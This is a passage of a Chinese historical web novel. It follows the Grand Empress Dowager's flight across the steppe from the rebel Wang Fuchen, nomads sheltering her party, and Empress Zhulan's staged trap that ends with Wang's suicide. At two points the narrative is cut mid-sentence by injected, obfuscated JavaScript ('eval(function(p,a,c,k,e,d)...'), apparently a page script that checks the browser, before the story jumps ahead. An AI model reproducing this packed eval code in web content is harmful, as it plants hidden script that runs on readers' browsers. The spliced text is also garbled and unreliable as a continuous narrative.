营地西侧的马厩还有几匹未跑掉的马,是平日用来拉货的,跑得快,也皮实。 佟国纲一脚踹开马厩的门,叛军的刀已经砍到他肩上,他反手将长矛从对方肋下捅进去,借着对方倒下的力道,将太皇太后往最近的马背上推:“您抓紧了!” 太皇太后哪里在这种状态下骑过马,刚上去就晃得差点摔下来,雅图连忙扑过去扶住她,自己半个身子挂在马侧;阿图被一个侍卫硬抱上另一匹马,吓得死死搂住马脖子;太后是佟国纲亲自扶上去的,他用布条将人捆在马背上,又在她身上盖了层帐篷布:“您别露头!” “将军!追兵来了!”侍卫嘶吼着,用身体挡住涌来的叛军。 佟国纲翻身上马,手里的长矛早已不知所踪,他抽出腰间的短刀,刀刃上还沾着自己的血。 “驾!”他猛抽一鞭,领头朝着漠西的方向冲去,身后的几匹马跟着狂奔,帐篷布被风吹得猎猎作响,像几面残破的旗帜。 再后面是跟上来的亲兵卫队,一行人迅速杀出。 王辅臣追到马厩时,只看见地上的尸体和几匹被惊得乱蹦的马。 他望着远处扬起的尘土,那方向正是漠西——珠兰和阿日娜苏在的地方。 “一群老弱妇孺,还想跑?”他冷笑一声,翻身上马。 86. 贵人逃亡 大营的火光烧红了半边天,叛军的嘶吼像潮水般涌来。 佟国纲拽着太皇太后等人往后帐冲时,鄂伦岱正一刀劈开一个叛军的喉咙,滚烫的血溅在他脸上,他却连眼都没眨。 “叶克书!”他清楚父亲的行动是当前最紧要的,于是扭头对着堂弟吼道,声音盖过了厮杀声,“跟紧我父亲!” 叶克书是佟国维的小儿子,从京里来草原历练,跟着打准噶尔那次是顺风仗,嗷嗷冲就是了。他哪见过这等阵仗,自家大营被攻破,首尾不能相顾,吓得脸都白了,握着刀的手止不住地抖。 听见堂兄的吼声,他下意识跟着佟国纲的背影就往大帐里钻,连回头看一眼的勇气都没有——他只记得鄂伦岱的刀上还在滴血,记得贾赦站在火海里,像尊铁塔。 “你怎么不走?!”鄂伦岱见贾赦还杵在原地,急得眼睛冒火。方才他让好友跟着一起撤,贾赦却梗着脖子,手里的长矛往地上一顿:“要走你走!我贾家的人,没那么孬种!” 此刻贾赦正扯着嗓子喊:“火器营的都给老子站出来!怕个球!他们都是些残兵,没力气了,咱们怕个鸡毛啊!” 他一脚踹翻个想逃跑的小兵,“帐篷里有备用的刀!拿上!跟老子守通道!” 鄂伦岱心里一热,也顾不上再劝。 他挥刀劈开一个扑过来的叛军,冲着四下溃散的士兵嘶吼:“都看清楚了!这是咱们的营地!帐篷是咱们搭的,沟渠是咱们挖的!怕什么?!” 两人一左一右,像两根钉子扎在营地中央。 鄂伦岱熟悉火器营的布防,贾赦仗着从小混大的交朋友本事,与火器营各个部分的人都熟悉,竟真把那些慌了神的士兵聚拢了大半。 “把毡帐推倒当掩体!”贾赦指挥着,“左翼的人去搬火药桶,不用点燃,往他们堆里扔!” 叛军起初势如破竹,可冲进营地深处,却被纵横交错的帐篷通道绕得晕头转向。 鄂伦岱带着小队钻帐篷间的夹道,冷不丁从侧翼杀出,砍翻几个就跑;贾赦则带着一群人守着通往马厩的必经之路,手里的长矛使得又快又狠,叛军冲了三次,都被他们捅了回去。 太阳爬到头顶时,双方已杀得筋疲力尽。 地上的尸体摞了两层,血腥味混着烧焦的羊毛味,呛得人喘不上气。 王辅臣在远处看了半天,见迟迟拿不下核心营地,又惦记着跑掉的太皇太后,终于耐不住性子,点了三百亲卫:“跟我去追!剩下的给我把这破营踏平!” 风里,佟国纲护着那几匹载着大清最尊贵女人的拉货马,在草原上狂奔。 帐篷布下,太皇太后的喘息声、太后的啜泣声、公主们的惊呼声混在一起,却都透着一股求生的韧劲。 佟国纲的肩上还在流血,每一次颠簸都疼得他眼前发黑,可他不敢停——他知道,身后是穷凶极恶的叛军,身前,是唯一的生路。 漠西的方向,夕阳正沉,把他们的影子拉得很长很长,像一道踉跄却倔强的线,一头连着生死,一头系着希望。 “传我命令,分三路追!”王辅臣抽出腰间的刀,寒光映着他眼底的红,“别伤了太皇太后和太后,抓活的!剩下的,一个不留!” 王辅臣带着亲卫一走,叛军的气势顿时弱了大半。 鄂伦岱瞅准机会,一刀劈开面前的叛军,对贾赦喊:“他们群龙无首了!压上去!” 贾赦抹了把脸上的血,笑得露出白牙:“早等着这话呢!”他抄起地上的半截枪杆,带头往前冲,“火器营的弟兄们,让他们看看咱们的厉害!” 鄂伦岱笑,这纨绔子弟有点人来疯的意思。 火器营的士兵们虽然没了枪子,却把平日里练的刺杀术用得娴熟。 他们三人一组,背靠背警戒,大刀抡、枪托砸,竟把叛军逼得连连后退。 尤其是那些平日里被瞧不起的“杂役兵”,此刻也红了眼,抱着叛军的腿就往地上摁——他们对这营地的每一寸土地都熟悉得像自家院子,哪里有矮墙能躲,哪里有绳索能绊,闭着眼都能摸到。 王辅臣留下的叛军本就是些疲兵,又饿又累,哪禁得住这般反扑。 渐渐地,从进攻变成了逃窜。 鄂伦岱一刀砍断营门的绳索,看着叛军像丧家犬般往草原深处跑,终于松了口气,一屁股坐在地上。 贾赦瘫在他旁边,嗓子哑得说不出话,只能用胳膊肘撞了撞他。 两人望着远处依旧冒着烟的帐篷,又看了看彼此满身的血污,忽然咧开嘴笑了。 虽然火炮自始至终没响过,虽然枪子早就打光了,但这场仗,他们守住了。 大营还在,火器营的骨头还在,就不算输。最起码,奏报好写些。 “得派人去给皇后娘娘报信。”鄂伦岱喘着气说,“咱们休息一会儿往西追王贼去,不能让他们追上贵人。” 贾赦点点头,捡起地上的一面残破的军旗,用力插在营门的土堆上。 风猎猎地吹着,军旗上的“清”字虽然被烧了个窟窿,却依旧倔强地立着。 太皇太后的骨头像散了架,每一次马蹄颠簸,都像有无数根针在扎。 她这辈子没骑过这么久的马,更没骑过这样的拉货马——马背硌得她胯骨生疼,缰绳勒得手心磨出了血泡,连平日里保养得宜的指关节,都肿得像发面馒头。 “额娘,喝点水吧。”雅图勒住马,从怀里掏出个瘪了的水囊,递过来时手还在抖。从丈夫被掳走,到丈夫去世,再到在端敏的支撑下重新掌握部落话语权,她也没想到自己现在还能撑住,实在是经历的多了,仿佛麻木了。 太皇太后刚要接,一阵风卷着沙砾扑过来,她猛地偏头,水囊里的水洒了大半,溅在她的貂斗篷上,很快冻成了冰碴。 “不喝了。”老太太的声音哑得像砂纸磨过,视线有些模糊。 她记得自己出生时,阿玛用三十匹骏马换了个会推拿的嬷嬷,就为了让她睡觉时舒服些;嫁入盛京时,皇太极给她铺的毡垫,是用一百只白狐的腹毛做的;当了太皇太后,连走路都有人搀扶,脚下踩的永远是厚厚的地毯。 可现在,她正骑在一匹瘦骨嶙峋的马上,走在连兔子都不拉屎的荒草坡上,嘴里的唾沫干得像团棉絮。 琪琪格在后面低低地哭,阿图想劝,却被太皇太后用眼色制止了。 “哭什么?”她喘着气说,“咱们博尔济吉特的女人,不是豆腐做的。”话虽硬气,腰却不由自主地弯了下去——昨夜为了躲追兵,他们钻了半宿的灌木丛,她的发髻被树枝刮得散乱,金簪子早就丢了,此刻头发像团乱草,粘在汗湿的额头上。 佟国纲在前面带路,选的路越来越窄,两旁的沙丘像巨兽的獠牙,随时能把这小队人马吞进去。 “太皇太后,再走一个时辰,就能到漠西的地界了。”他回头喊,声音里仿佛都带着血丝,肩上的伤口简单包扎了,还是渗出血来,染红了半边甲胄。 太皇太后没应声,只是死死攥着缰绳。 她想起自己刚入草原时,科尔沁的台吉们跪在路边迎接,献上来的奶茶要用银碗装,烤肉要选最肥的羊肋;可现在,她能吃到的,只有雅图塞给她的半块干硬的奶饼,咬下去时差点硌掉牙。 天擦黑时,他们钻进一个背风的山坳。 佟国纲生了堆火,火苗窜得不高,烟却很大,呛得太皇太后直咳嗽。 叶克书捡了些枯草铺在地上,让老太太坐下歇歇,她刚一沾地,就觉得浑身的骨头都在叫疼,竟连站起来的力气都没了。 “王辅臣能跑到草原上,连我自己都不信。”太皇太后望着跳动的火苗,忽然低声说,“所以,等回到京城,不许叫皇帝治罪于火器营与草原诸部。” 太后和雅图、阿图都愣住了——她们从没听过老太太这样的话。 贵人遇袭,不论亲军之罪,几乎不可能的。 只有苏麻喇姑知道,太皇太后这话是说给谁听的。 她余光看向周围,佟国纲与一众侍卫眼睛都亮堂了。 “我以为自己早就是块朽木了,经不起折腾。”她摸了摸自己的脸颊,皱纹里还沾着沙尘,“可真到了这一步,倒也……撑下来了。”折腾吧,折腾吧,老了,老了,跟孙子孙媳妇折腾什么呢,把自己折腾成这样。 太后喘息着靠在雅图身上,眼泪顺着脸颊往下流。 见她哭都不敢大声,雅图与阿图对视一眼,无比想念珠兰与端敏。 珠兰总是镇定自若,有多种办法和预案。 端敏若在,王辅臣算个屁。 风从山坳口灌进来,吹得火苗摇摇晃晃。远处隐约传来狼嚎,听得人心头发紧。 佟国纲握紧了刀,警惕地望着黑暗深处:“您放心,有奴才在,定护着贵人们到漠西。”他已经派人去寻护军营报信了,也说了路线,前方肯定会有人接应的 太皇太后点点头,闭上眼睛。 这一天一夜,她受的罪比前半生加起来还多,可奇怪的是,想通了,心不扑腾了,反倒踏实了些。 带着太后、长公主与火器营怒而离开,意图拿捏孙媳以及孙媳背后的皇帝,那时候的怒火像场梦。一家子亲人为了银子竟生两意,这是长生天降下的灾,告诫我布木布泰呢。 银子、权力,哪里有命贵! 此刻踩在脚下的沙砾、鼻尖的烟火气、身边人粗重的呼吸,真真切切的,是一场天罚…… 山坳里的篝火渐渐弱下去,只剩几点火星在风里挣扎。 太皇太后裹紧了那件被沙尘磨得发旧的斗篷,望着远处黑沉沉的山影,想起玄烨那孩子在信里撒娇的话:“祖母再不回来,孙儿就要把御膳房的点心都送到草原上了。” 那时只当是孙儿的小性子,笑着回信“不生重孙子就不回”。如今想来,那点赌气的心思,竟像孩童过家家般可笑。 皇帝还年轻,还在打江山,何必急着用子嗣捆住他? 草原上的利益何曾值得当自己这个太皇太后冲锋在前、锱铢必较,不如留在紫禁城,皇帝无论如何也会把祖母和母后的娘家护好的。 便如当初,皇后刚刚收下内务府,理顺前因后果,拿下晋商,马上就送了科尔沁一份足矣世代相传的大礼。 珠兰聪慧沉稳,是自己看着长大的,心思淳厚。 小两口琴瑟和鸣,自己偏要拿“国本”说事,明里暗里挑些事端,现在想想,真是老糊涂了。 她往火堆里添了把枯草,火星子腾地窜起来,映亮的是琪琪格苍白的脸。 太后靠在雅图怀里,呼吸微弱,病弱的身子经这一路颠簸,早已没了力气。 太皇太后看着她,又想起儿子福临——当年他为了董鄂氏,闹得朝野不宁,自己也是这样横加阻拦,以为是为了他好,为了大清好,可最后呢? 儿子年纪轻轻就没了,董鄂氏也跟着去了,只留下个年幼的玄烨,和一肚子说不清道不明的怨。 “琪琪格……”太皇太后低声唤了句,仿佛只是动了动嘴,没发出声音。 当年把这个孩子选进宫,原是想让她替博尔济吉特氏稳住后位,可她性子软,斗不过那些波谲云诡,硬生生把自己熬成了胆小鬼。 大好的年华,就在深宫里的汤药和算计里耗没了,连笑都带着三分怯。 做了皇后、太后,一样立不起来。 风里传来叶克书打盹的鼾声,佟国纲还在警惕地守着山口。 太皇太后的目光落在远处的黑暗里,仿佛看见阿日娜苏捧着账册跟在珠兰身后的样子——那孩子太想证明自己了,眼里的锐气像极了年轻时的草原明珠布木布泰,可这份“拼命表现”,又何尝不是另一种枷锁? 琪琪格是困在“不争”里,阿日娜苏怕是要困在“争”里,后宫这条路,从来都是笑着进去,哭着打转,哪有真正的赢家? 雅图悄悄往她手里塞了块热奶饼,是用最后一点奶和着枯草火烤的,带着焦糊味。 太皇太后咬了一口,粗糙的饼渣剌得嗓子疼,却比宫里那些精致的点心更让人清醒。 当年总觉得,皇权、家族、子嗣,这些才是顶重要的,是能攥在手里的东西。 可现在,马背上的颠簸疼得钻心,身后的追兵像催命的鬼,她攥着的,只有这块硬邦邦的奶饼,和身边这几个惊魂未定的亲人。 “珠兰那丫头……”太皇太后忽然笑了,带着点自嘲,“倒是比我通透。” 她知道什么该争,什么该放,知道小夫妻的情分比那些规矩重要。 火堆彻底灭了,天边泛起一丝鱼肚白。 佟国纲走过来说:“太皇太后,咱们该上路了,再走两个时辰,应该就能看见漠西那边接应的人了。” 太皇太后点点头,被雅图扶着站起来。骨头还是疼,可心里那点拧巴的疙瘩,却像被这一路的风沙磨平了。 等见了康熙,定要告诉他:“好好待珠兰,孩子的事不急,你们好好的,比什么都强。” 至于阿日娜苏,或许该劝她一句:“草原的商路比后宫的凤冠实在,能在天地间活成自己,比争那点恩宠强。” “走吧。”她闭上眼,又睁开眼,眼里的疲惫退了些,“别让珠兰等急了。” 重新上马时,太皇太后的动作还是很慢,却不再发抖。她知道,这条路还得走下去,哪怕骨头再疼,哪怕前路再黑——她是博尔济吉特氏的女人,是大清朝的太皇太后,这点罪,她受得住。 夜色与晨光里,一行人的影子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“急什么。”端敏喝了口奶茶,暖意顺着喉咙往下淌,“王辅臣那点人,追不上也伤不了太皇太后。佟国纲护着她们,走的又是小路,安全得很。”她顿了顿,目光扫过身后的骑兵,“倒是鄂伦岱那边,得让他们再多撑会儿。” 贾敏懂。 鄂伦岱带着火器营打得越久,王辅臣留下的残兵就死得越干净,他们已经犯了错,必须有将功赎罪的契机。 王辅臣那边也就剩下一口气了,翻不起风浪。 “粘杆处的人说,王辅臣好像察觉到不对了,刚才放慢了速度。”贾敏道。 “那就再给点‘甜头’。”端敏冷笑一声,对传令兵道,“让咱们的人故意露个踪迹,往西边的戈壁滩引。叫那头儿的告诉王辅臣,太皇太后的马跑不动了,正在歇脚,很快就能追上。” 传令兵领命而去,贾敏看着端敏,忽然笑了:“你这招,跟皇后学的?” “她教我的,”端敏毫不避讳,眼里闪着光,“她说,对付疯狗,就得让他追着影子跑,等跑累了,再一棍子打死。” 自己手底下的都是亲弟兄,不能当炮灰,她一路驱赶王辅臣,就是不打,也有保存实力的意思。 这不,就让火器营当了炮灰。 晨雾渐渐散了,阳光刺破云层,照在草原上,把马蹄印晒得清晰。 端敏重新上马,银枪在阳光下亮得晃眼。“走吧,慢慢跟。”她扬鞭指向西方,“让王辅臣再高兴一会儿——等他看见咱们的凤纛,才知道什么叫真正的绝望。” 骑兵方阵缓缓移动,像一条银色的河,在金色的草原上流淌。 他们不急不躁,既不靠近太皇太后的队伍,也不远离王辅臣的踪迹,就像一张慢慢收紧的网,等着猎物自己钻进最深处。 粘杆处的快马还在来回穿梭,带来鄂伦岱大胜的消息,带来王辅臣越发焦躁的动静。火器营损失了一般人,多半是在营中不着甲的那群老爷少爷兵。 端敏听着,只偶尔对贾敏说一句:“快了。” 贾敏点点头,仿佛半分都不担心自己大哥贾赦的安危。 这场戏,该到收网的时候了。 漠西的草场像块被打翻的调色盘,金黄与深绿交错着铺向天边。 珠兰站在临时搭起的木台旁,手里拿着分地的文书,阿日娜苏正低声跟她核对着各部落的户数——镶黄旗的牧民要了靠河的那片滩涂,科尔沁左旗坚持要把祖辈放牧的山坡划进去,吵吵嚷嚷的声音里,满是草原人对土地的执拗。 皇上也是,非得派旗人来这边游牧,没有他们捣乱,早就分好了。 “镶黄旗的人说了,不给滩涂,他们就不签文书。”阿日娜苏皱着眉,把手里的账册翻得哗哗响,“可那片地是博尔济吉特氏的祖产,雅图公主临走前特意嘱咐过……”祖产一说,大概要追溯到成吉思汗。 珠兰望着台下争执不休的各部首领,“让他们吵,吵够了,自然知道哪块地能养羊,哪块地只能长草。” 漠南的部落齐聚漠西抢草场,必然导致老家空虚——这正是她要的“空”。 阿日娜苏没接话,只是瞥了眼远处的地平线。 那里空荡荡的,连只飞鸟都没有,可她总觉得,有什么事正在发生。 珠兰却像没事人一样,甚至让护军营的统领冯唐把一半人手派去帮牧民搭过冬的毡帐:“这边人多,别出乱子。” 直到日头爬到头顶,一个浑身是血的侍卫跌跌撞撞冲进人群,嘶喊着“遇袭!王辅臣的叛军围住了大营!”,珠兰手里的文书才“啪”地掉在地上。 “你说什么?”她猛地转身,脸上的平静瞬间碎了,眼里的惊惶仿佛泼出去的水,收都收不住。 阿日娜苏也跟着变了脸色,一把揪住侍卫的衣领:“怎么回事?火器营呢?佟将军呢?” 侍卫哭得说不出整话,只反复念叨着“叛军太多……大营被烧了……佟将军护着主子们往西跑了……” “快!备马!”珠兰的声音发颤,抓起台边的披风就往外冲,脚步慌乱得像是差点绊倒,“冯唐!调护军营!阿日娜苏,调动商队的护卫还有各部落的骑兵,能调多少算多少!快!” 她平日里的沉稳似乎荡然无存,连翻身上马时都差点踩空,还是阿日娜苏伸手扶了她一把。 护军营的士兵们从没见过皇后这般失态,一个个也跟着着急,牵马的牵马,扛枪的扛枪,但并不慌乱。 “都慌什么!”冯唐吼了一声,声音里却也带着抖,“按建制走!左翼跟我走,右翼保护娘娘!速度要快!” 护军营:俺们没慌啊。 冯唐:不,你们必须慌…… 珠兰的马冲在最前面,披风被风吹得猎猎作响。 她回头看了眼紧随其后的阿日娜苏,对方眼里的惊慌与自己如出一辙——就像两个真的被吓坏了的女人,只想快点冲到亲人身边。 马蹄声越来越急,珠兰的目光穿透烟尘,望向太皇太后逃亡的方向。 快了,就快到收网的时候了。 87. 救命之恩 珠兰她袖袋里的手心,根本没出汗。 那侍卫带来的消息,早在她的预料之中,甚至连王辅臣会选择哪条路追来,都有预案。 方才的惊慌失措,不过是演给台下的各部首领看——太皇太后遇袭,皇后心急如焚,这才合情合理。 风里渐渐有了硝烟味,珠兰望着远处隐约的尘烟,对身边的亲卫说:“快!再快点!” 声音里的急切,连她自己都快信了。 要不是走到一半,阿日娜苏就劝她上了马车,搞不好控制不了表情,会露馅。 在草原上,珠兰从没有立下女强人的人设,一直都是在后方被照顾的那一个,主打一个好处都要,费劲不来,危险不沾。 马车上,珠兰默默复盘,脑力运动其实也是费劲儿的。 这最后一幕戏,从漠南的部落被引来漠西开始,到王辅臣钻进那个“空虚”的陷阱,再到此刻她带着人“惊慌失措”地去接应,每一步都像草原上的风,看似无章,实则早有轨迹。 王辅臣以为自己是猎人,却不知从一开始,他就是棋盘上的那颗弃子。而且,他大概也不知道自己实际是被谁算计了。 小路两旁的灌木丛刮得人脸上生疼,苏麻喇姑紧紧攥着老太太的手,这位陪了太皇太后一辈子的老人,此刻也没了往日的从容,发髻散了半边,布鞋的鞋底磨穿了洞,每走一步都硌得龇牙咧嘴。 一众老嬷嬷中,只有她有体力跟了出来,陪在太皇太后身边不曾掉队。 “咳……咳……”太后扶着雅图公主的胳膊,咳得直不起腰,苍白的脸上溅着几点尘土,原本精致的旗头歪在脑后,珠花早就不见了踪影。 阿图公主的裙摆被树枝划开一道长口子,露出的小腿上渗着血,她却顾不上疼,只死死盯着身后扬起的尘土——仿佛那是追兵越来越近的信号。 “将军!后面!跟上来了!”探子从斜刺里冲出来,甲胄上的铁环叮当作响,声音里带着哭腔,“离咱们不到五里地了!” 佟国纲心里一紧,回头望了眼踉跄的众人,额头上的青筋突突直跳。 “快!都再快点!”他嘶吼着,想扶太皇太后,却发现自己的手被长矛磨得全是血泡,一用力就钻心地疼。 就在这时,前方的坡下忽然露出几顶毡帐的顶,烟囱里还冒着淡淡的烟。 佟国纲眼睛一亮,指着那处对众人道:“那边有个小部落!咱们去那儿躲躲!” “不行!”雅图公主猛地拉住他,裙摆扫过地上的碎石,“咱们一停下,王辅臣马上就追上来了!这不是自投罗网吗?” 阿图公主也跟着点头,声音发颤:“是啊,佟将军,还是接着往前走吧,到了漠西就安全了!” 佟国纲急得直跺脚,指着那部落的方向压低声音,“两位公主有所不知!这条路上的部落,都受过内务府商队的恩惠!皇后娘娘当年令索额图管商队时,专门给他们送过种子和盐巴,让他们活了下来;宣贵妃接手后,更是让他们跟着商队做买卖,给他们分了此地的草场,他们才能在此繁衍下去!他们认得咱们的印信!” 这些事,都是葛布喇与他炫耀过的,他家一脉相承的仁义。 说着,佟国纲从怀里掏出块巴掌大的木牌,上面刻着“内务府商队”五个字,还盖着个印。“有这个,他们定会护着咱们!” 草场? 太皇太后喘着气,摆了摆手,“听佟将军的……走不动了……” 众人刚挪到毡帐外,就有几个牧民举着弯刀围上来,眼里满是警惕。 佟国纲连忙举起木牌,牧民们看见那印信,脸色顿时变了,领头的老者上前一步,对着太皇太后等人行了个草原礼,低声道:“是商队的贵人有难?快进帐后!” 没等众人反应过来,就被牧民们七手八脚地往毡帐后拖。 老者对着族人吼了几句蒙话,立刻有人搬来柴草,把他们藏身的地窖口盖得严严实实。他们带来的马匹,也被骑走了。还有人清理了他们来时的痕迹,再故意在外撒了些马粪,装作有小队人马往其他方向去了的样子。 地窖里又黑又潮,太皇太后靠在琪琪格怀里,能听见彼此的心跳声。 地窖口透进的光落在老太太脸上,映出她眼角的湿痕。 佟国纲说:“我听护军营的冯唐提起过,这一路上的小部落都是去年迁来的,靠着划给他们的草场才站稳脚跟。” 话还没说完,老太太的眼泪就忍不住掉了下来。“一饮一啄,真是半点不由人啊……”她攥着苏麻喇姑的手,声音哽咽。 漠西分草场,就因为科尔沁多要半片山坡而不得,她心里憋着气——觉得阿日娜苏胳膊肘往外拐,忘了博尔济吉特氏的根本。 一气之下,不顾珠兰劝阻带着人离开,才会在半道撞上王辅臣这叛将,落得这般狼狈。 可偏偏又是这“分草场给生机”的恩惠,让眼前的小部落甘愿冒着死亡的风险护着她们。 现在要赌一把王辅臣也不想多生事端,畏惧着后头的追兵赶上来,忙于追踪太皇太后一行人,没时间造下更多杀孽。 雅图扶着她,想起额娘摔了阿日娜苏送来的分地文书,说“这丫头眼里没祖宗”,此刻也红了眼眶:“儿那时还说萱贵妃坏话来着,今日是她救了咱们……” “别说了。”太皇太后摆摆手,泪水顺着皱纹往下淌。她这辈子信天命,却总觉得自己能争过天命。争过太宗的心意,争过福临的皇位,争过玄烨的亲事,争过草原的权势。 琪琪格递过块干净的帕子,声音轻轻的,“额娘,这都是缘分。” “是缘分,也是丫头们的心思好。”太皇太后擦了擦泪,忽然笑了,带着点自嘲,“哀家以为她平分草场是糊涂,实际是心怀大义啊。” 苏麻喇姑掏出火折子,微弱的光线下,能看见地窖角落里堆着的羊皮和奶酪——这是牧民们藏着过冬的。 “他们……真的帮咱们?”阿图小声问,声音在狭小的空间里发闷,她还是怕。 佟国纲攥紧了手里的木牌,声音低沉却笃定,“皇后和宣贵妃娘娘待他们不薄,草原人记恩。” 是啊,草原人记恩。阿图一时糊涂了,自己有多久没接触过淳朴牧民了,部落权贵的勾心斗角几乎让她再也难以信任外人。她的丈夫是巴林部的郡王,可那又如何,照旧少不了纷争。 没过多久,就听见外面传来杂乱的吼声和马匹嘶鸣,还夹杂着牧民们的叫声。 以这个速度来看,若非他们及时躲避,是绝对会被追上的。 有人用汉语喊着“没看见什么贵人”,还有马蹄声在毡帐外徘徊了许久,才渐渐远去。 又过了半个时辰,老者才掀开地窖口,对他们做了个“安全”的手势。 太皇太后被扶出来时,看见牧民们正往毡帐上泼水,想洗掉马蹄印,还有个年轻媳妇正把自己的羊皮袄往瑟瑟发抖的琪琪格身上披。 年轻媳妇推着自家汉子往前走,“贵人,往漠西去的路,我们给你们带路。” 汉子眼里没有丝毫犹豫,对着佟国纲道:“娘娘待我们好,我们不能忘恩。” 老者捧着奶茶过来,用生硬的汉语说:“贵人放心,劫道的坏人走了,我们的巴图鲁会送你们去漠西。那片草场好,养的羊肥,都是托娘娘的福。” “托娘娘的福……”太皇太后喃喃重复着,心里像被什么东西撞了一下。 她总想着拿捏,想着制衡,却忘了最扎实的根基,从来都是一点点的恩惠铺起来的。 不争口舌,不争眼前的得失,只默默把人心系在草场上、商路上,这才是真正的聪明。 离开小部落时,佟国纲婉拒了他们带路的好意。 牧民们牵来几匹健壮的马,还在马鞍上垫了厚厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抓住太皇太后!赏黄金百两!”那统领的吼声撕破风幕,叛军像饿狼般扑了过来,马蹄声震得地面发颤。 佟国纲心里“咯噔”一下——怎么会?小部落的人明明说给王辅臣指了相反的方向,难不成……他猛地看向叛军身后,果然瞧见两个穿着蒙服戎装的人,那衣服是…… “狗东西!”佟国纲目眦欲裂,原来王辅臣根本没信牧民的话! 他反手将太皇太后往雅图怀里一推,对叶克书说道:“护着贵人走!我来挡住他们!” 侍卫们放箭,箭矢穿透一个个叛军的喉咙,却挡不住汹涌的人潮。 叶克书嘶吼着,长矛捅翻一个敌人,自己的胳膊也被划了一刀,好在他的盔甲齐全,只是觉得疼。 太皇太后被雅图架着往漠西方向跑,回头望去,只见佟国纲带着仅剩的几十个侍卫,像块礁石般扎在路口,刀光剑影里,不断有人倒下。 “王辅臣军中定有向导!”太皇太后忽然明白了,声音发颤,“不然他们怎么会知道这条小路……” 话音未落,就听见身后传来佟国纲的怒吼:“往西边跑!别回头!”紧接着是兵器碰撞的脆响,和一声凄厉的惨叫。 雅图死死咬着牙,不敢回头。 阿图扶着太后,眼泪混着沙尘往下掉。 叶克书边打边退,箭头擦着他的脸颊飞过,钉在旁边的枯树上。 叛军的马蹄声越来越近,为首的统领已经看见了太皇太后的背影,狂笑着:“跑不了了!都给我站住!” 后头赶过来的王辅臣也在大笑,笑声比风还冷,“是你们不给我活路!端敏说皇上要我死,那我就拉着你们一起见阎王!”他的刀指向太皇太后,“乖乖跟我走,我保你们一时平安;不然……” 话音未落,远处忽然传来一阵急促的马蹄声,比王辅臣的骑兵更密集,更凌厉。 88. 亲密突破 就在这时,远处忽然传来一阵急促的马蹄声,比叛军的更密集,更响亮。 叶克书眼尖,看见烟尘里飘着面旗帜,银白的底色上,绣着个“靖宁”二字,更加鲜明的一面,是令人记忆犹新的凤纛。 当初正是跟着这面凤纛,他们打到了漠西。 “是端敏公主!是端敏公主来了!”叶克书狂喜地嘶吼起来。 叛军显然也慌了神,攻势顿时乱了。 佟国纲抓住机会,一刀劈开面前的敌人,朝着太皇太后的方向猛冲:“快!往那边去!” 斜刺里冲来的银甲骑兵像道洪流,瞬间撞进叛军阵中。 端敏的银枪在阳光下划出冷光,一枪就挑翻了那个亲卫统领,声音清冽如冰:“王辅臣的狗,也敢伤我大清的贵人?!” 佟国纲护着太皇太后等人,终于冲到了端敏身后。 他回头望去,沙丘下的草地上,已是一片血色。 太皇太后望着端敏的骑兵将叛军分割包围,忽然瘫坐在马背上——差一点,就差一点,就要落入王辅臣手中。 而这一切,都因为王辅臣军中那该死的向导。 罗刹人! 老婆子认不错,虽然那两人穿着漠北部落的衣服,但长相是典型的罗刹人。 “追!别让一个活口跑了!”端敏的吼声传来,骑兵们像潮水般涌了出去。 佟国纲擦了把脸上的血,对太皇太后低声道:“回禀太皇太后,安全了。” 太皇太后望着远处厮杀的烟尘,只觉得浑身的力气都被抽干了。 阳光刺眼,风里的血腥味却让人清醒。 这场逃亡,还没到尽头。 老子,不要死在这里。 王辅臣猛地回头,就见端敏的银枪在夕阳下闪着光。 他想继续跑,咬牙跑去西域,还是一条好汉。 可是,西边阿日娜苏的宝蓝色披风像面旗帜,身后跟着的护军营和蒙古骑兵,黑压压的望不到头。 珠兰的车驾就跟在后面,车帘掀开一角,露出她平静无波的脸。 前后夹击,水泄不通。 王辅臣这才明白——从他决定北上的那一刻起,就掉进了一个局。 军中探马来报的护军营被留在漠西,是假;引他来这里围杀,才是真。 端敏不接受投降是假,逼他狗急跳墙才是真。 他以为的“如有神助”,是有人在棋盘上,轻轻推了他一把。 他王辅臣何德何能啊,走投无路至此,还有被贵人算计的资格? 太皇太后看着策马而来的阿日娜苏,那意气风发的戎装模样像极了她年轻时候。 那时候,她也穿过甲,想象过战场上指挥千军万马是何等痛快。 厮杀声再起时,冯唐带着护军营一冲就把王辅臣的骑兵打的没了斗志,这就是送到嘴边的军功啊! 几个回合之后,王辅臣被端敏的银枪挑落马下。 他趴在地上,从马腿的缝隙里看着车驾停在太皇太后面前,上面下来一个女人,他忽然笑了——原来这世上最狠的棋,是女人下的。 他提起最后一分力气,掏出一丸药,塞进嘴里。 死则死矣,最后一刻他总要自己做主。 风卷着硝烟掠过草原,金顶帐的火被扑灭,留下焦黑的痕迹。 帐外,阿日娜苏在帮忙核对被俘的叛军名册。 王辅臣自尽,他的亲兵中未死的也跟着自尽了,但还有些游兵散勇在外,端敏与迟来的陕西绿营兵去抓了。 太皇太后被珠兰扶着回新帐子,冷不丁的说了句:“阿日娜苏,是不准备回去了?” 珠兰笑着,“皇祖母,这得听皇上的。” 夕阳把她们的影子拉得很长,像一幅刚落下帷幕的画。 这场戏,终究是按珠兰的剧本,唱到了最精彩的地方。 乾清宫的烛火燃到了下半夜,康熙手里宁夏那边来的奏折翻得哗哗响,指尖在“王辅臣突围入草原”几个字上反复摩挲,指节泛白。 他这里的剧情,才刚刚开始。 这是消息滞后性,导致皇帝看的是重播。 梁九功跪在地上,连大气都不敢喘——方才皇帝看军报时,把茶盏都摔了,碎片溅到龙靴上,小太监上去擦被踹走了。 “宁夏的旗军是死人吗?”康熙的声音像淬了冰,“三万人围一个王辅臣,还能让他带着残兵钻进草原。查!给朕查清楚是谁放的口子,朕要扒了他的皮!” 漠南各部是瞎子么,居然不拦着! 珠兰,朕的妻子可也在草原上呢,若是,若受惊吓······ 朕不在她身边,可怎生是好。 